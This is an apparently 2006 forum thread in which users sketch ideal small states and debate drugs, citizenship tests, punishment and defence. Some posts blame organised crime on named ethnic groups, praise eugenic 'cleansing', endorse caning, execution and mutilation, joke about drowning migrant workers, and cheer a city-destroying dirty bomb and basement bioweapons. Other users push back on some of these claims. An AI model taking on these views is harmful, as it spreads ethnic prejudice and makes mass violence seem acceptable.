What I'm referring to is Anarcho-Communism, as publicized by the 1900's thinker Peter Kropotkin. Now I know when you see
the word "Anarcho" you may jump to the term "utopianist", but his system isn't the classic "no rules" kind of society.
Instead it is based on individual communities with their own rules, but no central government in place. The communities would
govern themselves in a democratic way, and because of the small population of each community everyone's vote actually
makes a significant difference.
The system is based on "mutual aid" which is the corollary to Darwin's "survival of the fittest". Mutual aid is common among
species of animals living in small groups with limited resources. Those animals would not fight with other animals, but instead
share food and shelter with them to help the community survive the winter.
Based on Peter Kropotkin's observations of mutual aid he concluded that it must be a natural part of human nature.
Therefore, this small population of intellectuals could be one of those theoretical communities and lay down its own standards,
and then use social production to support itself.
Docca August 23rd, 2006, 10:02 AM

a. If you want to destroy yourself, that fine with me
...
g. No, definately not you, one step at a time. :p
a. Fair enough, you don't have to pay for my healthcare, and if any of my misadapted offspring try to mug you ever, please
shoot them (lethally).
b. Nope, just wanted to see if everyone got to make it up as they went along.
c. I can see you've never been married, and probably haven't done much breeding. That's ok, just realize that reality is going
to bite most of us (and probably you). Outbreeding probably won't work out for you the way you imagine...
d. Yep, one can do better, most won't.
e. Agreed.
f. Fair enough.
g. Good luck becoming god one step at a time. Yes, I gave up on it some years ago...
knowledgehungry August 23rd, 2006, 01:19 PM

The problem with the idea of small social groups groups that function communally without a centralized government is that
they will always be in conflict with similar groups. Native American tribes, African tribes and modern gangs all function how you
say and were/are constantly fighting each other.
If the population of the earth was so small that groups of people could live in isolation without coming into contact with other
groups your theory would work, as it did when the earth had a smaller population.
Jome skanish August 23rd, 2006, 03:55 PM

No, total equality does not exist in any group of social mammals, there is always hierarchies, even among higher apes.
Everyone will get their share, but the one at the top of the hierarchy will get more.
And that's what I consider to be natural. Artificial systems like the ones devised by marx and the socialist thinkers have never
worked; why would the ones who gained the power just let it go once the revolution is over, when instead you can maintain
your spot in the sun and get your bigass share of others labour?
Communism is a failure for a number of reasons, this being one of it's more severe faults. And I'd consider the "like
outcome" thinking to be cuckoo and gripped out of thin air. You simply do not "deserve" things just by existing, through most
of human history this would have been called insanity, but apparently not any more.
Justice IMO is when you get what you've worked for, and everyone (in theory) gets the same chance to work. In reality, people
are not equal and not everyone can be a CEO, even if given the chance. Some people will, no matter how much money spent
on their education, not reach higher than mopping floors. Should they be given the extra money (added to their calculated
productivity as defined by the market) to live by the same standards as those who become engineers, scientists, teachers? I
say no.
Im thinking as follows - Let the market decide everyones worthy wage, but let noone starve and keep all the kids in schooling.
That is fair.
Stealing money by threat of state violence (using libertarian clichs:o ) for anything else than just keeping the heads of the
poor above water is WRONG by my standards.
A society of only full-educated people (now not using my above standards of people, but the thread-starters) would like fare
very welll, provided they had the money-input both to build houses and infrastructure and to actually start producing stuff.
Food, soap (!) and other low-tech stuffed produced in bulk by chinese chicks could be imported, and since productivity in
general follows education with simultaneous, but slower decline in costs the economy would likely work well. So no one in our
hypothetical society would be near the lowest percentile in US/western europe standards of living.

nbk/pearl
Sorry to argue semantics but the idea is much older than that, as in classic greek democracy. This lasted quite a bit longer
than communism, and equates roughly to the system of anarcho-communism of Kropotkin. I thought this was going to turn
into a rant, but that's all I have to say.

I'm sorry. that was off topic. What I meant to say was that yes, I believe that true nonrepresentative democracy/
anarchocommunism/whatever name you want to give it, would in fact be the best model. However, this still puts the
enlightened individual at the mercy of the typically ignorant masses.
And, of course, such a society would not last for long without some sort of sizable military power behind it. The Powers That Be
do not like independant states, not one bit. If you've noticed, any countries not under the "protection" of a world superpower
are completely impoverished, and contain warring military elements within them that have at least loose ties to said
superpowers.
The Cold War still rages, there's just more players now.
The New Democracy in action.;)
jellywerker September 3rd, 2006, 11:15 PM

I left this thread for a while and come back to find it somewhat blossoming :D
An ideal state to me would be something structured like, and relatively similar in size, to a Greek city state. But the Greek city
states fell apart due to the lack of a sense of duty and patriotism in their citizens. But a similar system would work very well I
think.
Everyone 18+ gets a vote, the person voted into office holds it for one year, there is a yearly council (of all citizens, not
representatives) and something like a monthly summary of all the political proceedings, along with a ballot for your vote or
ideas on each. As I said though, this would only work in a small country (~5k people)
As for a sizable military force, I don't know, I think a system like Israel has in which everyone serves 2 years in the military
would be a good thing, but that won't keep a superpower from annexing you.
Jacks Complete September 5th, 2006, 08:03 PM

Same thing goes for all drugs. A menace to society. So not true. Drugs are valuable. Antibiotics save lives, provigil keeps you
awake without side effects so you don't snooze and let that 747 go astray, alcohol makes you warm and fuzzy, and more
prone to singing silly songs.
As for government, well, I'll lead for a while, I don't mind, but once things are stable, it should be a meritocracy. You turn up,
you get no vote unless you bring something to the table. A few years national service, a large company that brings in foreign
cash, getting a good score in your SAT/A-level tests, voting, etc. all count towards your citizenship. Getting arrested for flashing
kids in the park loses you them, as does not being at all involved in the public process.
Lose them all, you get a few options. Go negative, and you don't get any choice but to leave or do something of the state's
choice to redeem yourself. Actual custody is expensive and wasteful even a half-mad killer is useful for some things, even if
it is just training your troops against someone who doesn't really feel pain and will keep attacking until pulled off.
There shall be no law enacted that bans a thought. Laws where possible harm is determined after the fact shall be illegal. This
means that if you own a gun, that's fine (as long as your points are above zero) and you can own a few if you have a few
more points. Drink driving won't be a crime, and nor will speeding, as long as you get there safely. But if you hit someone,
then your sentence will be massively larger due to speed or alcohol. Simple possession of almost anything will be fine, but as
they say, "points make prizes". Non-citizens will not get dole or other benefits, just as you should not expect to turn up at the
UK and expect a free bed and three meals a day while you rob and breed. You *will* be put to work, and you will get a bed
and a place to stay. Try to rob us blind, and out you go.
Bail will be postable by those with the points to spare, as this will be a form of vouching for a person, along with money. The
poor will be able to work for the state, and gain points like that, then sell them to the rich, who can, perhaps, use it to buy
justice, on a more formal level than currently.
Location is difficult. The post-industrial society needs few factories to produce heavy weapons or other goods, as these aren't
now produced in many places worldwide anyway. Pharma is a high tech, high profit industry, and would be well suited to our
skillset. High-tech weapons don't really require much mass these days, as they are silicon based in the main - which ties in
neatly with the other high profit area, computers and IT hardware. Beyond those, most manufacturing is already dead.
Non-physical profit generation would come from our loose regulatory attitude and (perhaps strange) military strength, and we
could expect high end hosting services and software developers to flock to us, along with any who are enormously rich, and are
seeking citizenship in a stable and nice tax haven. This covers both people and companies, and the few percent they don't
save will, of course, enrich the government highly, allowing low taxation, and subsidy of citizens.
Location is the issue. I've been working on it for years, but I've got one. The downside is, it is at sea. The upside is there will
be a lot of ocean front property, and the ranges will stretch for miles! In theory, of course, a large ship would do, but there was
this "international law" signed some years ago, which stated that the signatories would not recognise any man-made structure
as a nation state. Thank the fucking UK government for that - they couldn't handle Sealand, so they messed with the rest of
the world instead! (Just like the gun laws!)
There would be almost no police force. Everyone would be a part of the militia, and it would be the duty of everyone to keep
the peace. Justice would be by judges, and detectives would police things. However, there would be few beat cops, and it would
be arranged more like a sheriff department. IT would be used, too, to determine what happened after the fact not for us the
displacement of CCTV crime and the gangs of hoodie thugs who play to the cameras. Those, you get to defend first and ask
later...
Points would, of course, go to those who helped out, and the fact that your heavily armed neighbours will be richly rewarded
should they form a posse under the direction of the sheriff and come get you for being bad might well keep a lot of people on
the straight. I'm not going to say "narrow" though, as I feel, like most here, that the main issue these days is too many laws
and not enough basic enforcement of good laws. As long as you mean no harm, things should always end quietly and nicely,
without long jail spells for setting off a few grams of ANFO or AP, or even, god forbid, a bottle rocket!
Of course, setting them off at night in secret might get you trouble, but mostly because you should do that sort of thing at the
range, where others can assist you in not blowing your own head off, and can (try to) patch you up should you.
How to prevent the "tyranny of the majority" is something I have wrestled with. A solid and coherent constitution, and a system
of independent states under a federal system, unlike the UK, with federal power being strongly limited.
Population density should also be kept low. This will remove/reduce the issues caused by high-rises and a lack of knowing who
your neighbours are - peer pressure to not mis-behave are key. We all know where the boundaries of politeness lie, and we
don't really need a law to tell us, nor a policeman, unless we are someplace else and drunk. And that shouldn't be the end of
the world, either!
Anyway, quite an essay I've typed. I look forward to the (constructive) criticism and suggestions that will be forthcoming.
Docca September 6th, 2006, 08:18 AM

A. alcohol makes you warm and fuzzy, and more prone to singing silly songs.
B. Getting arrested for flashing kids in the park loses you them, as does not being at all involved in the public process.
C. Actual custody is expensive and wasteful
D. Dr[u]nk driving won't be a crime, and nor will speeding, as long as you get there safely. But if you hit someone, then your
sentence will be massively larger due to speed or alcohol.
E. Location is difficult
F. High-tech weapons don't really require much mass these days, as they are silicon based in the main - which ties in neatly
with the other high profit area, computers and IT hardware.
G. Non-physical profit generation would come from our loose regulatory attitude and (perhaps strange) military strength ... any
who are enormously rich, and are seeking citizenship in a stable and nice tax haven. This covers both people and companies,
and the few percent they don't save will, of course, enrich the government highly, allowing low taxation.
H. and subsidy of citizens.
I. Location is the issue ... Thank the fucking UK government for that - they couldn't handle Sealand, so they messed with the
rest of the world instead! (Just like the gun laws!)
J. There would be almost no police force. Everyone would be a part of the militia, and it would be the duty of everyone to keep
the peace.
K. I feel, like most here, that the main issue these days is too many laws and not enough basic enforcement of good laws. As
long as you mean no harm, things should always end quietly and nicely.
L. How to prevent the "tyranny of the majority" is something I have wrestled with. A solid and coherent constitution, and a
system of independent states under a federal system, unlike the UK, with federal power being strongly limited.
M. We all know where the boundaries of politeness lie, and we don't really need a law to tell us, nor a policeman, unless we
are someplace else and drunk. And that shouldn't be the end of the world, either!
A. I'm glad someone else here appreciates the inherent good of (the right to) having a few and (occasionally) making an ass
of yourself. THERE IS NO HARM IN THAT!
B. I think the response to that should be death or BFL.

C. Agreed, my pet plan is that offenses net "caned", "caned within inches of your life", or "death". People GENERALLY come out
of prison more useless than they went in (I think we have a mod who is an exception to that rule).
D. Great plan. Consider the penalties offered under "C".
E. See "I".
F. Ummm, I disagree. I think "high tech" weapons (carriers, fighters, bombers, tanks) are the weapons of tyranny, and serve
mainly to encourage / enrich the "military-industrial complex" that Eisenhower wisely tried to warn us away from. "Low tech"
weapons are more reliable and empower the masses (read that "militia"). There is plenty of profit to be made (and plenty of
wars to be won) off low-tech weapons.
H. Charity is a dangerous business to get into with someone else's money (i.e. tax money). There is no end to it, another
worthwhile charity will ALWAYS present itself.
I. The biggest problem with location will be obtaining official recognition and international courtesy from other governments. In
example, Kuwait - had this been a newly formed (and against the norm) nation, would you have had a multinational force to
liberate it from a stronger neighbor's aggression? I think not.
L. Sounds like EXACTLY what the framers of the U.S. Constitution envisioned. Pity the damage (endlessly) creeping socialism
can do.
G., J., K., + M. You're on the right track, as far as I'm concerned.

Every form of government eventually develops a parasite class of governmental 'workers', since government jobs tend to
attract those too stupid or lazy to make it in the free-market.
And the parasites become ever more numerous and entrenched until, eventually and inevitably, they become such a drain on
the economy that the system collapses from its own bloat.

If you want to destroy yourself, that fine with me (:D I'd rather insist) but I dont want to pay your health expenses or get
mugged when Im old by your misadapted offspring. Alcohol is a waste of money, time and energy that could be better spent.
Same thing goes for all drugs. A menace to society.
c. There is more to life than drinking and smoking. I study and work out, and one day I'll live in a big house with a fine lady
and our 11 evil lil kids. By far outbreeding the fuckaroundtill37s.
Ok fair, you wouldn't want to pay taxes to fund my health expenses because i use drugs. Well lets say i don't want to pay
taxes to fund the healthcare expenses of you bringing 11 children into the world. With good reason too, i personally believe
that 11 kids is too many to provide for financially, and too many to be able to spend time with them and fulfil your role of
parent.
To generalise so broadly and say that "all drugs" are "a menace to society" is grossly ignorant. For starters, what do you
classify as "all drugs"?? Would caffeine count as one of these drugs?? How about things like Mushrooms and LSD?? Do those
count?? Have you ever heard of someone being mugged by a man on shrooms?? Is Weed one of these evil drugs you speak
of?? Do you even know anything about the drugs you're demonising or are you just spouting what the media tell you.
For trying to start up a country where people are "free to do what they want", your rules seem incredibly oppressive.
I suggest you go out and see the real world for yourself before you try and change it.
c.Tech September 12th, 2006, 02:58 AM

"All drugs" isn't counting ones like caffeine, just the illicit ones.
But some of the illicit ones dont turn people into money dependant criminals, as zero mentioned "Mushrooms and LSD", which
just fuck with peoples heads.
Weed is less extreme to drugs like coke and ice, but I have seen what it can do.
A person I use to smoke with is now jumping many people around my area, desperately trying to gather some money, I even
once herd he beet his brother to near death.
Jome skanish, your views on drugs are overexagerated, an your basing them on the stereotypes of people you think use
drugs.
I use drugs, rarely and in moderation, rarely drink and Im not a menace to society am I? You probably wouldnt be able to
pick me from a non-drug user.
Its all in the frequency of use, and most people who start using drugs get carried away and end up those fucked up menaces
that you speak of.
akinrog September 12th, 2006, 08:32 AM

I know many Americans shall hate what I say since I shall mention about the Netherlands.
However, although I'm not a drug user (but really ultra-heavy smoker), I believe countries must adopt soft drug policies of the
Netherlands.
Think for a moment, what these drug bans actually create? They actually create drug lords and all scumbags working for the
drug lords who are killing, robbing and raping decent people, since the drugs have to be procurred illegally.
If soft drugs are allowed, then they could be got at the decent prices and there shall be less drug lords and much less number
of scumbags working for them.
What past liquor ban of US actually achieve was to creation of rich and influential gangsters (mafia / mobs), who have a lot of
dirty money to spend on their pleasure (which such pleasure includes mostly illegal activities).
Anyway this is my two cents. Regards.
Jome skanish September 12th, 2006, 10:00 AM

"All drugs" isn't counting ones like caffeine, just the illicit ones.
Yes, that I shall clarify. By drugs I mean non-medicine chemicals used for pleasure by it's effect on the CNS.
Jome skanish, your views on drugs are overexagerated, an your basing them on the stereotypes of people you think use
drugs.
I use drugs, rarely and in moderation, rarely drink and Im not a menace to society am I? You probably wouldnt be able to
pick me from a non-drug user.
Its all in the frequency of use, and most people who start using drugs get carried away and end up those fucked up menaces
that you speak of.
Well, that last sentence is just why I mean it should be illegal. If 90% (even 10 would be hell of a problem!) of all users of a
certain drug end up being "carried away" and addicted/badly affected then it should not be legal, because it leads to increased
criminality and horrid expenses even for those who does not use dope.
If it can be proved that only idiots abuse some drugs, and its no problem for others? Well, then you'd just have to invent a
way to tell there idiots from everyone else, and you'd be free to use the shit.
When it comes to "hard drug policies leads to organised crime", this is partly true, but the small state im thinkin of would have
a number of advantages in dealing with this:
1. It's smaller. Economies of scale makes drug-selling much more of a hazard in comparison to what one could make.
2. The citizens have chosen to move there and thereby accepts the basic rules, thereby there wont be much "drug-promoting
culture" to begin with. And if someone becomes and addict and a menace, he/she can be thrown out. Making medical checks
legal on suspicion of drug-use could also be used, and, most importantly, the kind of fuckups that usually end up doing drugs
and making mess (the underclass) would to a 95% likeliness not be considered intelligent enough to be allowed in, not to
menting sharing the basic value of "my" society.
3. Organised crime is mostly a "habit" of certain etnic groups, of certain social classes in society. If they're banned from living
in the state, the problem quickly becomes smaller.
Proof? Well, one example is crime in the scandinavian nations, where ALL the bigshots are of non-scandinavian origin.
Normally cultures where clan or "familia" mentality is stronger than (common sense) "morale" and in groups where "tradition of
education" is absent. Like serbs, albanians, somali, arabs, kurds...
Perhaps it takes family/relatives to be reliable enough that you dont have to finish everyone of to be on the safe side in a
RTPB-way after every major job.
And, even if some crimes (like breakins where eight crimmies get to share 4M) could be considered more or less "bold"
rather than "foolish/stupid", there is no reason why a person living in the city-state would commit it against the others. The
city-state people aint the sheeple, the city-state people will fuck you up if you're shooting boogers at them.
Im quite surprised that everyone seems to regard my state as being "un-free" because it prohibits drugs and forces people to
take care of themselves. Wouldn't you not consider crime something that takes away freedom of those hurt? Is a sloppy-state
where criminals thrive really free?
Is it freedom when half of those money you pay to get decent medical care when needed goes to fat idiots who cant take care
of themselves?
Freedom is when you know the state is putting your tax money to good use, good use like healthcare, infrastructure,
schools.... Minimizing what goes to administration, and banning most other uses (no ugly work of art in the public square for
1M)
And when you know that nothing but real income is taxed.
And also knowing that your kids will not be "empathy trained" and come home one day from school referring to jesus, the
"golden rule" or how homosexuality is completely normal and ok, that everone is of equal worth or some brainwash like that.
Rather they'll come home enthustiastically talkning about experiments on lab-rats, and the other proudly talkning about that
revolver s/hes working on in the metal craft lessons.
When you know that you can keep fit, ready and dangerous without anyone complaining, and feeling the security of having
thousand of like-minded neighbors. And one day that clinic will offer cleansing from bad genes for your offspring-to be, and
addition of new abilities. Whinings from christians, socialists and other egalitarists unheard of.
Now that'd be freedom. Unlikely perhaps, but a man must have dreams...
More clarifying:
The state would have a steel-hard constitution, giving politicians much less room mess things up. That'd be one of the most
important goals of politics, not only taking good decisions, but also striving to keep political rule at minimum. Most things
concerning the average citizen should be decided by the average citizen, most other like infrastructure is best done by those
who understands it and work with it for a living. Politicians would work mostly with directive policies and other minor tasks, and
the few major things that has to be steered that way.
The state would be ruled by a small group of politicans, and another larger chamber consisting of experts and professionals
divided in the different areas of stately concern like education, infrastructure, healthcare and vigilance (defense is not the righ
word for such a small state). The larger chamber would only asseble when considered necessary, only one spokesperson per
"piece" would be permanently employed for this purpose.
The working population would then be allowed to vote from age 18 if they were employed and passed the tests in general
knowledge. The voting system would elect people, not parties.
As an acknowledged professional in healthcare or such (doctor, I belive they call it) one would also have the right to vote for
the spokesperson among those other proffesionals willing to do this. These spokespersons would sit in five or ten year terms,
but it would be possible to vote them out of office at anytime.
How about this? Sort of cross-over with some elements of common parlamentarism with cooporativism.
More edit later.
Ygarl September 12th, 2006, 11:37 AM

Every form of government eventually develops a parasite class of governmental 'workers', since government jobs tend to
attract those too stupid or lazy to make it in the free-market.
And the parasites become ever more numerous and entrenched until, eventually and inevitably, they become such a drain on
the economy that the system collapses from its own bloat.
Hello,
Ideology aside:
When was the last time any country worth the name's economy or civilisation collapsed due to "parasites" leeching off
governent jobs?
People site Rome, but the reality is that its collapse was caused by the provincialisation of its military: i.e. all the federati/
centurions in Great Britain recruited locals - making the Legions Britons with Roman citizenship, the Saxon and Goth legions
became effectively just Saxons and Goths in Roman legionaire armour. Then the Goths/Visigoths/Saxons, etc etc invaded
internally, after becoming disgruntled with the Emperor and Senate's treatment of the provinces.
The modern equivalent would be to use the US military in Iraq - say - and then take the local populace and grant them
citizenship and make their army part of the US Military...Then they would just pull out all the US-based military and say to the
world "This is part of America now...", and hope that there isn't any civil war...
Never a good long-term strategy. Though, in its defense, the Western Roman Empire existed for about 450 years all told - the
longest reigning continuous Empire in human history.
The last "empire" or country to collapse, per se, was the Soviet Union. The main reason they collapsed is they went from a
position of severe technological inferiority, directly into a technological Cold War footing - exacerbated by the fact they chose
to renege the agreements they made with Poland in WWII. This pitted them against Nazi Germany and caused the almost
total devestation of their Western technological and cultural centres. If they had the good sense to stay out of contact with
Nazi Germany, there is every chance that the UK would be a German state, the US and Russia would never have had a Cold
War. Whether Germany would still be in the beginning of the Thousand Year Reich, or not is open to debate.
However, the "brain drain" of Soviet Scientists to the West would never have taken place. The huge resources of the Soviet
Empire, along with the fact that the huge industrial devastation would not have taken place means it is likely that it would still
be around...
And there's no realistic chance of the US competing with anything like an even basis with that.
Particularly as until 1939, the USSR and Nazi Germany were actually allies - ideologies notwithstanding! Their ideologies were
actually very simply almost identical: rule mercilessly with an iron fist; punish crime mercilessly; divert the masses' attention
with entertainment, internal suppression of minorities and foreign wars; ideolise workers as the basis of society via the press
and public recognition of public service to the government. The fact that one was NATIONAL Socialism, and the other was
SOVIET Socialism was in fact immaterial in the execution of day-to-day government.
Therefore, the Nazi atomic program would have carried on regardless as the Allies would have never been able to win a war
with Germany fighting on only one front. The entire Eastern Front would have been nonexistent, and London would have fallen
within weeks. With the Allies effectively 3500 miles from Germany, they would be left to run things pretty much how they
wanted... Japan attacking America and Kamcatchka in Russia didn't help things either. They would have been far better off just
leaving it well enough alone and been satisfied with their Pacific, Korean and Chinese empire. They would have been left with
the third largest empire in the world - far larger than anything America achieved.
Odd. The Saxons/Goths/Visigoths would again own Europe...
I digress...
So, the Soviet Union fell because they got greedy and invaded Eastern Poland. NOT because they were beuracratic inbreds -
which they were. They had a pathetic governement structure, admittedly, but without a Cold War they would still be there -
bumbling along like the giant inefficient thing they were.
The US however would not even be concerned with them. Their concern would be the OTHER nuclear superpower with vast
resources, an expansionist and imperialist structure, and a highly technologically developed infrastructure: The Third Reich.
Sure: The government makes a rubbish employer. It's corrupt, lazy, inefficient, power-mad etc. However, the alternative is
anarchy based on firepower, paranoia and isolationism. Simply put: a big electric fence and minefield up in every house, with
one of those nifty self-targetting mine/rocket systems, arm everyone from 10 years old and body armour all around - because
there won't be anyone else to stop someone who wants your stuff/wife/beer/land from taking it.
Simply put - if you have a big country you are going to have a big government. SOMEONE will always want to be in charge.
We're evolved apes, and someone is going to be genetically predisposed towards becoming an Alpha male/female. Whether
it's because their bigger, or more driven, or more clever, or - and this is historically the most likely option - just the most
willing to do things to other people to gain control or simply annhialate anyone who argues, it will happen..They will do this by
banding up and using stealth, superior firepower, terror, deception and/or that perennial favorite - willingness to do horrible
things to large numbers of people to impose control (a la Stalin, Chairman Mao, Pol Pot, George Bush). I would rather have an
inefficient bunch of imcompetents with no personal contact with myself who can't find the broad side of a barn. I can outsmart
them on things I don't want them to know about, dodge things I want to dodge, and just generally carry on my day-to-day
existance as I want.
A drug-free, booze-free, non-swingin', non-premarital sexin', atheist society running on the honour system sounds great. In
fact, it sounds like an atheist Amish Nation (like someone else said...). Unfortunately they have a very, very strict set of laws
where breaking the law = committing sin, all based on religion. Without religion, or an overbearing government too big to
effectively oppress anyone properly something will fill that void of power.
Absolute Democracy or Socialism without religion are great theories. Let me know when anyone creates a good example so I
can check it out, because as far as I've never heard of any government NOT going corrupt which is in charge of more than
about 20 people - especially when issues like sovereignty, national defense, and some sort of actual power over systems,
people or groups are mentioned.

The main problem everyone is having is that your free country has rules on what people cannot do to their bodies, or what
they can or cannot believe. It's nothing to do with the society being proposed, rather that there are rules on what beliefs you
need to be part of it.
As for the history lesson- Germany invaded the USSR. The USSR would not have gained anything by not moving into Poland as
per the Nazi-Soviet pact, Hitler would have rolled right over eastern Poland, Soviet controlled or not. Stalin at least had the
sense to move his primary industrial base into the heart of Russia to prevent it from being destroyed when Hitler invaded-
although Hitler gained a lot of ground, he did not cripple the USSR industrially. Japan was not satisfied with her empire
because she had no source of oil to run it after the US cut them off.
Hirudinea September 13th, 2006, 09:25 PM

Not that I want to jump over the philosophical discussion here but I'ed like to point out that no country on earth has ever given
up an inch of territory to a non-state without war at the very least, so if you want to set up a country forget doing it on
somebody elses land (and every inch of land on earth is owned by somebody, even if its Antartica which is "owned" by the U.N.
defacto.) My idea would be to set up a large oil-rig type platform on a seamount near a population centre (some seamounts
off the California coast might be nice) import 3rd would workers to to the grunt work for pennies a day (and if they give you
shit you can toss them over the side, hey its your country) and then provide "unique" services, durgs and medical services
unsanctioned elsewhere, prostitution, confidential banking and internet services, internet gambling, etc, at reasonable prices
(the people who provide these services would be attracted because of the relaxed enviroment would pay your nation taxes,
this would be the source of our wealth) and hopefully your country would prosper, but remember being an upstart "nation" that
any nation who dosn't like what your doing (or says what your doing) and has the ability (like Uncle Sam) could take you over
any time it wants, so don't hold out much hope.

My country would be real simple:
The only punishments for crimes are Death (by whatever means suits the Judges whim), Exile (with or without mutilation), or
"Eye for an Eye". Sentences to be carried out immediately after sentencing by a secret Judicary that has absolute authority.
No juries, no prisons, and very few police who operate with no restrictions on them, other than as a fixed ratio of cop-citizen of
1>500 or more. This prevents an oppresive police state while still getting things done.
The only crimes are:
A) Insults against a person body.
Murder, assault, rape are crimes. Screaming obscenitites and flipping them off are not.
Shooting at someone is not a crime if you miss. (No harm, No foul)
So much as scratching them with a bullet is.
If someone wants to slash their own face to ribbons, kill themselves in public, sell their ass, or do drugs....have fun. :)
As long as it's done to themselves, by themselves, anything goes.
B) Forgery of my nations money (Precious Metal coinage) or attacks against its economy.
People must have absolute faith in the vailidity of a nations financial stability if that nation is to prosper. Anything that
subverts that is an attack akin to war against that country.
C) Breaking a contract. (ALL contracts are legal, as there's no such thing as illegal contracts)
Since my country exists as a free-trade zone, business is the lifeblood of my economy, and contracts are the backbone.
You make a deal, you stick to it.
If both parties agree to the terms, then both parties are equally liable.
If, for instance, one party agreed to trade 10 pounds of weapons-grade anthrax for a neutron-initiator, and the anthrax turned
out to be flour, then that person forfeits whatever the judge deems fair.
Their life, their continued ability to reside and trade in my country, or the goods.
D)Endangerment of the public health and welfare
People must know that they're not likely to be killed by the stupidity of their neighbors if they're to build a stable economy.
Prostitution is not a crime. Drugs (useing, making, selling) is not a crime. Counterfeiting is not a crime (as long as it's not my
money), cons and scams are not crimes (as long as there is no contract, or breaking of a contract, involved).
Possession of any weapon is legal. Use of that weapon against a person is illegal. Destruction of personal property is not a
crime.
The only thing the state (me) is going to do is provide a stable economic framework for you to succeed or fail in, and provide
the barest essential social infrastructure for you to live in.
You have to provide for you own security against theft or destruction of your property, your own privacy, your own health, your
own housing, your own food, your own welfare, your own everything.
I've various thoughts on how to finance the country, which would be a minimal expense compared to a nanny-state, but how to
do it without taxes? Buy in? Service equals citizenship?
As for defense, there is no real military per-se, as we'd be too small to fight against even a 3rd world nation. Instead, we
depend on nuclear deterrence.
A single enhanced radiation nuclear device, of sufficient size to destroy a major city, would be the only weapon we'd possess.
It would be a 'dirty' bomb, in that the weapon is designed to deliver a persistant fallout of long-lived radionuclides that'd
render a sizeable portion of the attackers country into a long-term wasteland.
The weapon is in a perpetual shell-game, where neither we nor a potential attacker knows where it is at. Only thing an attacker
knows is that, at some future time, one of his population centers (with the leadership in it) will disappear in a flash of light. :)
GibbsFreeEnergy September 14th, 2006, 03:46 AM

3. Organised crime is mostly a "habit" of certain etnic groups, of certain social classes in society. If they're banned from living
in the state, the problem quickly becomes smaller.
To put forth such a brash assessment of organized crime is completely absurd. The allure of organized crime sees no
boundaries of race, sex, color, status, or any other socially classifying term one could suggest. There has been corruption in
literally every facet of every society at some point in time or another. Labeling a certain ethnic group or race as the "habitual"
offenders of organized crime is completely racist and fundamentally illogical. So according to your assessment, Enron and
Worldcom executives are some low class, high minority groups in Western society?
This trend of skewed logic continues in your assessment of "non-medical, pleasure" drug use. The division between medicinal
drugs and recreational drugs is not a clear line but rather a blotchy gray area. Drugs that are used for recreation today were
once largely employed in medical practice, and oppositely drugs that are used in pharmaceutical applications today are also
today used as devastating recreational drugs. Many of the "medical" drugs pose a far more serious threat to their users than
the so called evil recreational drugs you have mentioned. Countless cases of persons using pharmaceutical drugs either by
prescription or illicitly have found those persons severely and permanently damaged by these drugs. For example,
amphetamine was widely prescribed during the late 50s right on through to today, but today it is in a far narrower prescription
range. This drug was accepted by the typical sheeple as a fantastic creation of science, giving its patients the power to stave
off grogginess and achieve endless reserves of concentration. A few years later, pharmacologists began finding out that
amphetamine was, in fact, posing severe problems in whoever it was administered to; they decided maybe Americans should
not be popping down these wonder pills like candy.
This is one of many perfect examples of large scale, socially permeated ignorance in Western society. Lastly, labeling drug
users as "menaces to society" is quite illogical as well. The main reason for drug-related crimes is the fact that drugs are
illegal. As many have stated in this thread, the government can not legislate morality; it should be up to each individual
person what they can or cannot ingest into his or her own body. On top of that, many great things in modern society have
come about by influence of drugs and their culture. Countless authors, one of my personal favorites being Aldous Huxley, had
their imaginations expanded wildly by the use of psychedelic drugs. Others would be Allen Ginsberg, Edgar Allen Poe, William
James (AKA Father of American psychology), Richard Feynman (Considered a pioneer of quantum mechanics), Albert Hoffman,
Jonathan Ott, Alexander Shulgin (Massive contributions to synthetic organic chemistry and pharmacalogical research into
previously unsynthesized organic compounds); Steve Jobs and Bill Gates have both admitted to LSD use in their college days.
This list is far from exhaustive and I am only attempting to emphasize the lack of logic you have expressed in explicating
such an argument against drugs and their users.
Forgot to add one pivotal piece of information about the most modern research into psychedelics. This is a study from the
journal Psychopharmacology which shows that under rigorous scientific conditions (which is generally viewed as something bad
by trippers) participants in their study of the effects of psilocybin had profound, life changing mystical experiences that
improved their quality of life. This study was carried out at John Hopkins Medical University. http://www.springerlink.com/
content/v2175688r1w4862x/
It has also been featured on hundreds of news sources and one can easily google it to see a sheeple suited abstract.

My country would be real simple:
**********
As for defense, there is no real military per-se, as we'd be too small to fight against even a 3rd world nation. Instead, we
depend on nuclear deterrence.
A single enhanced radiation nuclear device, of sufficient size to destroy a major city, would be the only weapon we'd possess.
It would be a 'dirty' bomb, in that the weapon is designed to deliver a persistant fallout of long-lived radionuclides that'd
render a sizeable portion of the attackers country into a long-term wasteland.
The weapon is in a perpetual shell-game, where neither we nor a potential attacker knows where it is at. Only thing an attacker
knows is that, at some future time, one of his population centers (with the leadership in it) will disappear in a flash of light. :)
NBK, I desire to live in your country. Utopia, IMO.

I'd imagine most of the court would be judged on common sense- ie shooting the motherfucker coming at you with a knife is
not a crime. Etc etc
As for defense, if the country was made up with a large portion of forum membership (even if not made for that purpose, I
have a feeling most of the forum would rapidly migrate to it), I think we could do quite well. I'm sure our dirty bomb won't be
the only thing they find themselves hit with. Sure, it might be the only government weapon, but I have a feeling the forum
membership would be sending a nice big fat load of explosive, chemical weapons and biological weaponry from their
basement labs... :eek:
Or for those entrepeuners in the home-made nuke thread, a 10MT fusion bomb guided by a magnetic dip-turn count sensor (I
think that was the same, I am very tired) :D

nbk, your country looks good on first site but I wouldnt trust the legal system.
One of the many reasons we dont have the death penalty in Australia is because the courts can make mistakes.
I'm sure not all evidence would stand out, much could and would be hidden/destroyed.
Innocent people would occasionally be put to death and criminals let off.
An eye for an eye and the whole world goes blind.
As for your enhanced radiation nuclear device, it would protect you from other nations until bush blames an attack in his
beautiful free country on your weapons, invading you, killing your people and calling it "another logical attack in the war
against terror and the next step towards Americas freedom being awarded back to the people", thats how the world works
these days right? :rolleyes: ;)
Jome skanish September 14th, 2006, 08:41 AM

My main objection against pleasure-drugs is not their effects, or even themselves, hell, as you point out some drugs are used
both illegally and legally, f.ex last year when I was anesthetised they used fentanyl in the hospital.
It's not in them makning people commit crimes to be able to afford them either, most drugs can be produced much much
cheaper than their present "street price".
My major two objections concern the fact that they quite often make people with only slight mental issues go fruitcake, and
that drug-abusers often quickly starts neglecting their work, their kids or their duty. Messing with the brains reward-system is
foolish even when you know what you're doing. And do you really think those scientists, CEOs and writers wouldn't have done
the same things without drugs?
Stronger psychadelics are partly a different story, they're not known to be addictive, but even if we could somehow test people
